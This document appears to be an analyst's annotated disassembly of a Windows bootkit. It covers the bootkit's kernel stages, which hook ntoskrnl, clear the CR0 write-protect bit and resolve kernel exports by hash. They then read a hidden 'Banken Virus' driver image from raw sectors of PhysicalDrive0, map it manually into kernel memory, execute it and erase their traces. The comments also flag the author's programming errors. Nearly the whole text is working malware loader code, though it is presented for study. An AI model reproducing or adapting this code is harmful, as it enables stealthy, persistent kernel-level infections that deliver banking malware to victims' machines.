
; this is now true Kernel Code, we are at Stage 3 of our Bootkit
; source: the code is located at memory.9f800, disk.sector 61

; executed at address 806cde00 (lays in kernel memory directly after ntoskrnl)
;    ..to step through

; called by ntoskrnl hook


; this code has been modified by stage 2 (0f600)

  ; corrected addresses are at instruction @3 and @B by code
  0000006E  895004            mov [eax+0x4],edx                 ; [9f804h] = 80685336
  00000071  89680C            mov [eax+0xc],ebp                 ; [9f80Ch] = 804d7000   Module Address of ntoskrnl

; called by ntoskrnl hook

  ; caller analysis [this is the code that was modified at end of ntldr hook code]
  80683ed0: (                    ): out 0xff, al                        ; e6ff
  80683ed2: (                    ): push dword ptr ss:[ebp-470]         ; ffb590fbffff      _EPROCESS address (= 0x80087000)
  80683ed8: (                    ): call .+0x00049f23                   ; e8239f0400        calls our Module Entry Point
  80683edd: (                    ): test al, al                         ; 84c0              ==> ** NEVER RETURNS HERE (in simulation)

; ------------------------------



Module_Entry_Point:

; param1  [esp + 4] = 0x80087000    _EPROCESS, we will pass it further when simulating original code and will be passed to driver
;         [esp + 0] = 0x80683edd    caller, eip (return address)

; handle parameters and set/corrected values
00000000  8B1424            mov edx,[esp]                       ; edx = return address
00000003  6836536880        push dword 0x80685336               ; store the we-to simulate return address (has been corrected)
00000008  8B0C24            mov ecx,[esp]                       ; ecx = original absolute call address
0000000B  6800704D80        push dword 0x804d7000               ; this address was corrected, Module Address of ntoskrnl

; probe flag cr0.Write Protect (clear it, to allow writing into read-only user pages)
00000010  0F20C0            mov eax,cr0                         ; store cr0
00000013  50                push eax
00000014  25FFFFFEFF        and eax,0xfffeffff
00000019  0F22C0            mov cr0,eax                         ; probe cr0.WP (bit 16)   - cause it's set in Windows
0000001C  2BCA              sub ecx,edx                         ; calculate back original target call near RELATIVE address (00001459)
; *** PROGRAMMING ERROR ***
; *** ECX IS SET BUT NEVER USED ***
0000001E  58                pop eax
0000001F  0F22C0            mov cr0,eax                         ; restore cr0 ..why?
; *** PROGRAMMING ERROR ***
; *** CR0 IS RESTORED BUT SHOULD NOT, THIS CODE WAS COPIED BY OPERATING SYSTEMS INIT ROUTINES ***

; retrieve function address of ntoskrnl!ExAllocatePool
00000022  FF3424            push dword [esp]                    ; module address of ntoskrnl (= 0x804d7000)
00000025  6862E00737        push dword 0x3707e062               ; function name as hash (it is "ExAllocatePool")
0000002A  E83B000000        call dword Get_Dll_Function_Address
0000002F  59                pop ecx                             ; correct stack
00000030  59                pop ecx

; ntoskrnl!ExAllocatePool(type 0, 427 bytes);
00000031  68AB010000        push dword Total_End_of_Binary - Stage_4_hook_code
00000036  6A00              push 0
00000038  FFD0              call eax                            ; return = 81066630

; copy stage 4 code to our driver memory
0000003A  60                pushad
0000003B  E800000000        call dword Get_EIP                  ; get EIP
Get_EIP:
00000040  5E                pop esi
00000041  83C615            add esi,Stage_4_hook_code           ; => source is absolute address of Stage 4 hook code
00000044  8BF8              mov edi,eax                         ; => target is value returned by ExAllocatePool
00000046  6A6A              push Stage_4_hook_code_end
00000048  59                pop ecx                             ; copy 424 bytes (06A = up to Get Dll function Address function * 4)
; *** PROGRAMMING ERROR ***
; ** YOU CAN CONSIDER ECX AS PROGRAMMING ERROR, it should be mov ecx,Stage_4_hook_code_end - Stage_4_hook_code or up to end of sector **
00000049  F3A5              rep movsd

0000004B  B180              mov cl,0x80                         ; why???
0000004D  8DBE00FEFFFF      lea edi,[esi-0x200]                 ; ?????     => THIS CODE WAS COPIED
00000053  FFE0              jmp eax                             ; call the relocated hook-code



Stage_4_hook_code:

; STAGE 4 HOOK CODE
; relocated to 81066630 +

00000055  33C0              xor eax,eax
00000057  61                popad                           ; restore register contents
00000058  FF74240C          push dword [esp+12]             ; store _EPROCESS address (= 0x80087000), passed by caller, pass to callee
0000005C  FF542408          call dword near [esp+0x8]       ; simulate original call near instruction that we've hooked

; the function should return here

; this shitty little thing should return here but bochs stops here with simulation support
; UNPREDICTABLE STACK RETURN VALUES

;     ==> Windows crashes, blue screen (restart)

;    =====> CALL FOR KERNEL DEBUGGER

00000060  59                pop ecx                         ; -> ebp (comes from enter / push ebp  mov ebp,esp)
00000061  5A                pop edx                         ; assumable return address
00000062  60                pushad                          ; store registers as simulated call would never have been done
00000063  87CD              xchg ecx,ebp                    ; set ebp to module address we'll use later
00000065  E852000000        call dword Stage_5_hook_code    ; => back to Kernel Code

Stage_4_hook_code_end:




Get_Dll_Function_Address:

; Input:
;   Param 1     Function Name hash
;   Param 2     Base Address of Module to search for Export
; Output:
;   EAX = Function Address (NULL if not found)
; preserves register contents

; copied from Vipin & Nitin Kumar, bootkit (http://www.nvlabs.in/uploads/projects/bootkit/bootkitprivilege.zip)
; in \privilege escalation code\driver\chook.c!CallExportedFunctionbyHash

0000006A  60                pushad
0000006B  8B6C2428          mov ebp,[esp+0x28]              ; base address of module (param 2)
0000006F  8B453C            mov eax,[ebp+0x3c]              ; PE Header
00000072  8B540578          mov edx,[ebp+eax+0x78]          ; access to Export Table
00000076  03D5              add edx,ebp                     ; absolute pointer to Export Table
00000078  8B4A18            mov ecx,[edx+0x18]              ; ecx = Number of Name Pointers (count of exports)
0000007B  8B5A20            mov ebx,[edx+0x20]              ; ebx = Name Pointer RVA
0000007E  03DD              add ebx,ebp                     ; absolute pointer to Export Name Pointers

Find_Dll_Export_loop:
00000080  E332              jecxz Dll_Function_not_found    ; if no export left exit
00000082  49                dec ecx                         ; next one
00000083  8B348B            mov esi,[ebx+ecx*4]             ; get the function name of the next function
00000086  03F5              add esi,ebp                     ; absolute address
00000088  33FF              xor edi,edi                     ; edi stores our calculated hash
0000008A  FC                cld

; check the Dll function name (generate hash)
Get_Dll_Name_hash:
0000008B  33C0              xor eax,eax
0000008D  AC                lodsb                           ; inside a dll export, like "wctomb" (and others)
0000008E  3AC4              cmp al,ah                       ; zero terminated string
00000090  7407              jz Get_Dll_Name_hash_generated
00000092  C1CF0D            ror edi,0xd                     ; VERY ODD WAY for finding specific dll entry
00000095  03F8              add edi,eax                     ; something like a hash
00000097  EBF2              jmp short Get_Dll_Name_hash

Get_Dll_Name_hash_generated:
00000099  3B7C2424          cmp edi,[esp+0x24]              ; now compare calculated hash and input hash
0000009D  75E1              jnz Find_Dll_Export_loop        ; if not found => check next export

; set up addresses
0000009F  8B5A24            mov ebx,[edx+0x24]              ; Export Table.Ordinal Table RVA
000000A2  03DD              add ebx,ebp                     ;   (absolute pointer)
000000A4  668B0C4B          mov cx,[ebx+ecx*2]              ; -> Ordinal Number (needed for Address Table)
; *** PROGRAMMING ERROR ***
; ** CX SET BUT ECX LATER USED, USE MOVZ ecx,word [ebx+ecx*2], CONSIDER THE HIGH WORD **
000000A8  8B5A1C            mov ebx,[edx+0x1c]              ; Export Table.Export Address Table RVA
000000AB  03DD              add ebx,ebp                     ;   (absolute pointer)
000000AD  8B048B            mov eax,[ebx+ecx*4]             ; -> Function Address
000000B0  03C5              add eax,ebp                     ;   (absolute pointer)
000000B2  EB02              jmp short Dll_Function_Address_set

Dll_Function_not_found:
000000B4  33C0              xor eax,eax                     ; error, return zero
Dll_Function_Address_set:
000000B6  8944241C          mov [esp+0x1c],eax              ; patch the value to be in eax
000000BA  61                popad
000000BB  C3                ret





; driver code, stage 5

;    located at ***
;    we are called by ntoskrnl

Stage_5_hook_code:

; retrieve function address of ntoskrnl!NtOpenFile()
000000BC  5B                pop ebx                         ; ebx -> return eip, equal to address of Get_Dll_Function_Address
000000BD  55                push ebp                        ; module address of ntoskrnl
000000BE  68B8742985        push dword 0x852974b8           ; function name as hash, "NtOpenFile"
000000C3  FFD3              call ebx                        ; ODD but this calls Get_Dll_Function_Address [call return address of call..]
                                                            ;    => THIS TELLS US DEVELOPER DOESN'T KNOW ANYTHING ABOUT asm keyword origin
; set up data buffers
000000C5  33D2              xor edx,edx
000000C7  52                push edx
000000C8  52                push edx                        ;   2 dwords data buffer
000000C9  8BF4              mov esi,esp                     ; esi = data buffer
000000CB  52                push edx                        ;   1 dword data buffer
000000CC  8BFC              mov edi,esp                     ; edi = data buffer
000000CE  E826000000        call dword Stage_5_hook_code_investigate


times 0D3h-($-$$) db 0

; the drive we have booted and loaded been from (UNICODE)
Boot_Drive  dw "\??\PhysicalDrive0", 0



Stage_5_hook_code_investigate:

;  eax = still address of function NtOpenfile
;  ebx = still address of Get_Dll_Function_Address
;  esi = data buffer on stack (8 bytes)
;  edi = data buffer on stack (4 bytes)
;  ebp = Module Base Address of ntoskrnl


; NtOpenFile(&FileHandle, GENERIC_READ | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT)

; set pointer to Object Name
000000F9  6824002600        push dword 0x260024             ; index, 24h = 2 * 18 (18 is the length of the Boot_Drive string), 26 is the -offset
000000FE  8BCC              mov ecx,esp                     ;   the return address of last call would be the Name but why the push?

; set ObjectAttributes on stack
00000100  52                push edx                        ; SecurityQualityOfService  = NULL
00000101  52                push edx                        ; SecurityDescriptor        = NULL
00000102  6A40              push byte +0x40                 ; Attributes                = OBJ_CASE_INSENSITIVE
00000104  51                push ecx                        ; ObjectName                = "\??\PhysicalDrive0"
00000105  52                push edx                        ; RootDirectory             = NULL
00000106  6A18              push byte +0x18                 ; Length                    = sizeof(OBJECT_ATTRIBUTES)
00000108  8BCC              mov ecx,esp

0000010A  6A20              push byte +0x20                 ; OpenOptions       = FILE_SYNCHRONOUS_IO_NONALERT
0000010C  6A03              push byte +0x3                  ; ShareAccess       = FILE_SHARE_READ | FILE_SHARE_WRITE
0000010E  56                push esi                        ; IoStatusBlock     = data buffer on stack
0000010F  51                push ecx                        ; ObjectAttributes  = data buffer on stack
00000110  6800001080        push dword 0x80100000           ; DesiredAccess     = GENERIC_READ | SYNCHRONIZE
00000115  57                push edi                        ; FileHandle        = data buffer on stack, used later in NtReadFile
00000116  FFD0              call eax                        ;   call NtOpenFile


; retrieve function address of ntoskrnl!ExAllocatePool()
00000118  55                push ebp                        ; module address of ntoskrnl
00000119  6862E00737        push dword 0x3707e062           ; hash of "ExAllocatePool"
0000011E  FFD3              call ebx
00000120  97                xchg eax,edi                    ; store function address in edi

; retrieve function address of ntoskrnl!NtReadFile()
00000121  55                push ebp                        ; module address of ntoskrnl
00000122  6816D5FC84        push dword 0x84fcd516           ; hash of "NtReadFile"
00000127  FFD3              call ebx
00000129  8906              mov [esi],eax                   ; store function address temporary at data buffer


; set params for NtReadFile()
0000012B  6800000000        push dword 0                    ; Key (no unlocking key needed)
00000130  6800926DFF        push dword 0xff6d9200           ; FESTPLATTEN SEKTOR = 10 MB vor Festplattenende
00000135  8BCC              mov ecx,esp
00000137  6A00              push byte +0x0
00000139  51                push ecx                        ; pointer to ByteOffset

; ntoskrnl!ExAllocatePool(type 0, 0x58600);
0000013A  B900860500        mov ecx,0x58600                 ; this is the length of our virus, 353.5 KB it's size
0000013F  51                push ecx                        ; Length
00000140  51                push ecx                        ; -> count of bytes (58600h)
00000141  6A00              push byte +0x0                  ; -> type 0
00000143  FFD7              call edi                        ;   call ExAllocatePool
00000145  50                push eax                        ; Buffer (= 0x80fd4000), address for our code


; ntoskrnl!NtReadFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, Length, ByteOffset, 0);
00000146  56                push esi                        ; IoStatusBlock = same as on NtOpenFile
00000147  8BCE              mov ecx,esi                     ; ecx stores our NtReadFile address
00000149  96                xchg eax,esi                    ; esi = target buffer for our code (the address)
0000014A  33D2              xor edx,edx
0000014C  52                push edx                        ; ApcContext  = NULL (no async procedure param)
0000014D  52                push edx                        ; ApcRoutine  = NULL (no async procedure call)
0000014E  52                push edx                        ; Event       = NULL (do nothing)
0000014F  FF742458          push dword [esp+0x58]           ; FileHandle  = returned by NtOpenFile
00000153  FF11              call dword near [ecx]           ;   call NtReadFile


; retrieve function address of ntoskrnl!NtClose()
00000155  55                push ebp                        ; module address of ntoskrnl
00000156  685F4CD4DC        push dword 0xdcd44c5f           ; hash of "NtClose"
0000015B  FFD3              call ebx

; ntoskrnl!NtClose(FileHandle);
0000015D  FF742440          push dword [esp+0x40]           ; FileHandle returned by NtOpenFile
00000161  FFD0              call eax


; now investigate the PE file
;   esi = pointer to buffer
00000163  8B463C            mov eax,[esi+0x3c]
00000166  03C6              add eax,esi                     ; absolute pointer to PE Header
00000168  50                push eax                        ;   store for later usage
00000169  8B5050            mov edx,[eax+0x50]              ; SizeOfImage (total size of image)
0000016C  52                push edx                        ;   store for later usage

; ntoskrnl!ExAllocatePool(type 0, SizeOfImage);
0000016D  52                push edx                        ; -> SizeOfImage
0000016E  6A00              push byte 0                     ; -> type 0
00000170  FFD7              call edi                        ;   call ExAllocatePool

; zero out allocated memory
00000172  97                xchg eax,edi                    ; -> target buffer is the allocated memory
00000173  59                pop ecx                         ; -> size = image size
00000174  57                push edi
00000175  32C0              xor al,al
00000177  F3AA              rep stosb                       ; first zero out buffer
00000179  5F                pop edi                         ;   restore target pointer
0000017A  58                pop eax                         ;   restore absolute pointer to PE Header

; copy the headers
0000017B  60                pushad
0000017C  8B4854            mov ecx,[eax+0x54]              ; SizeOfHeaders
0000017F  F3A4              rep movsb
00000181  61                popad

; copy all sections
00000182  2BC6              sub eax,esi
00000184  03C7              add eax,edi                     ; now we access the copied headers
00000186  0FB74806          movzx ecx,word [eax+0x6]        ; NumberOfSections (loop counter)
0000018A  8D90F8000000      lea edx,[eax+0xf8]              ; after optional header, start of section table entries

Section_Entry:
00000190  60                pushad
00000191  037214            add esi,[edx+0x14]              ; -> source = base of read buffer + PointerToRawData
00000194  037A0C            add edi,[edx+0xc]               ; -> destination = base of our allocated memory + VirtualAddress
00000197  8B4A10            mov ecx,[edx+0x10]              ; -> size = SizeOfRawData
0000019A  E302              jecxz Section_Entry_Next        ;   if zero do not copy
0000019C  F3A4              rep movsb
0000019E  61                popad

Section_Entry_Next:
0000019F  83C228            add edx,byte +0x28              ; next entry (+ sizeof Section Header)
000001A2  E2EC              loop Section_Entry


; delete the read buffer data
000001A4  50                push eax                        ; store the pointer to (copied) PE header
000001A5  60                pushad
000001A6  8BFE              mov edi,esi                     ; -> target = read buffer
000001A8  91                xchg eax,ecx                    ; overwrite it with zero
000001A9  B980610100        mov ecx,0x16180                 ; -> size = 58600h we've read
000001AE  F3AB              rep stosd
000001B0  61                popad


; retrieve function address of ntoskrnl!ExFreePool()
000001B1  55                push ebp                        ; module address of ntoskrnl
000001B2  681F9D489D        push dword 0x9d489d1f           ; hash of "ExFreePool"
000001B7  FFD3              call ebx

; ntoskrnl!ExFreePool(File Buffer);
000001B9  95                xchg eax,ebp                    ; ebp = function number
000001BA  56                push esi                        ; source address, our data buffer we read the file in
000001BB  FFD5              call ebp


; execute the "Banken Virus"

; DriverEntry(Module Address, _EPROCESS Address);
000001BD  8B742408          mov esi,[esp+8]                 ; esi = pointer to PE Header
000001C1  FFB42484000000    push dword [esp+132]            ; param 2 = _EPROCESS address, 132 - 96 - 4 = argument 1 :)
000001C8  57                push edi                        ; param 1 = Module Address of executable
000001C9  8B4628            mov eax,[esi+28h]               ; eax = AddressOfEntryPoint
000001CC  03C7              add eax,edi                     ;   absolute address
000001CE  FFD0              call eax                        ; execute the code

; erase "Banken Virus" in memory
000001D0  0BC0              or eax,eax                      ; check return code
000001D2  7D0E              jnl Exit_Infector               ;   if != 0 exit (I guess)
000001D4  8B4E50            mov ecx,[esi+0x50]              ; count = SizeOfImage
000001D7  E309              jecxz Exit_Infector             ;   if zero exit
000001D9  32C0              xor al,al
000001DB  57                push edi
000001DC  F3AA              rep stosb                       ; overwrite it with zeros
000001DE  5F                pop edi


; ntoskrnl!ExFreePool("Banken Virus" memory);
000001DF  57                push edi                        ; the memory allocated for the executable
000001E0  FFD5              call ebp


Exit_Infector:

; clean up stack
000001E2  83C460            add esp,96

; delete our stage 4 and stage 5 code, we are at end
000001E5  33C0              xor eax,eax
000001E7  8BFB              mov edi,ebx
000001E9  83EF15            sub edi,byte +0x15              ; -> target = Stage_4_hook_code
000001EC  B99C010000        mov ecx,0x19c                   ; remove all the stage 4 code (except the last few instructions)
000001F1  F3AA              rep stosb

; no no no...
000001F3  61                popad
000001F4  C20400            ret 4                           ; return :(


Total_End_of_Binary:

